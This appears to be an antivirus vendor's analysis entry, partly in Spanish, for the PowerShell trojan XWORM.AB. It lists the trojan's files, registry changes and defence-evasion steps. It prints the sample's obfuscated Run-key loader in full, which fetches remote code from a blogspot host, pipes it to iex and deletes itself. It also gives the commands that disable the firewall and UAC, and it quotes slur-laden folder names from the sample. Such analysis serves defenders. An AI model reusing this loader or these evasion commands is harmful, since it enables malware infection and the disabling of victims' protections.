Trojan.PS1.XWORM.AB

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega las carpetas siguientes:

• %ProgramData%\nipplesnigger → Deletes afterwards

Infiltra los archivos siguientes:

• %ProgramData%\nipplesnigger\KAMASUTRAKIM.~!!@#!!!!!!!!!!!!!!!~ → Deletes afterward

Agrega los procesos siguientes:

• netsh.exe advfirewall set allprofiles state off -ErrorAction Silently Continue

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti1 = schtasks /run /tn lexerti1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
(Default) = C:\IDontExist.dll

Modifica las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\Software\Microsoft\
CurrentVersion\Policies\System
EnableLUA = 0

(Note: The default value data of the said registry entry is 1.)

Finalización del proceso

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

• RegSvcs
• Mshta
• Wscript
• Msbuild

Otros detalles

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32

Hace lo siguiente:

• Terminates process containing .bat.exe in its process name
• Deletes files in the following folders:
  • %Application Data%
  • %Public%
  • %User Startup%
  • with the following extensions:
  • .bat
  • .ps1
  • .lnk
  • .bat.exe
  • .cmd
• Deletes files in the following folders:
  • %Public%
  • %Application Data%
  • %ProgramData%
  • with the following extension:
  • .vbs
• Exclude the following in Windows Defender scans:
  • Extensions:
  • .ppam
  • .xls
  • .docx
  • .vbs
  • .js
  • Drives:
  • C:\
  • D:\
  • E:\
  • Processes:
  • explorer.exe
  • kernel32.dll
  • aspnet_compiler.exe
  • cvtres.exe
  • CasPol.exe
  • csc.exe
  • Msbuild.exe
  • ilasm.exe
  • InstallUtil.exe
  • jsc.exe
  • powershell.exe
  • rundll32.exe
  • conhost.exe
  • Csript.exe
  • mshta.exe
  • cmd.exe
  • DefenderisasuckingAntivirus
  • wscript.exe
  • IP Address:
  • 127.0.0.1
• Disable Windows Defender
• It bypasses the Antimalware Scan Interface (AMSI).

(Nota: %User Startup% es la carpeta Inicio del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}\Menú Inicio\Programas\Inicio, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Menú Inicio\Programas\Inicio, en el caso de Windows 2003(32-bit), XP y 2000(32-bit) en C:\Documents and Settings\{nombre de usuario}\Menú Inicio\Programas\Inicio y en en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup).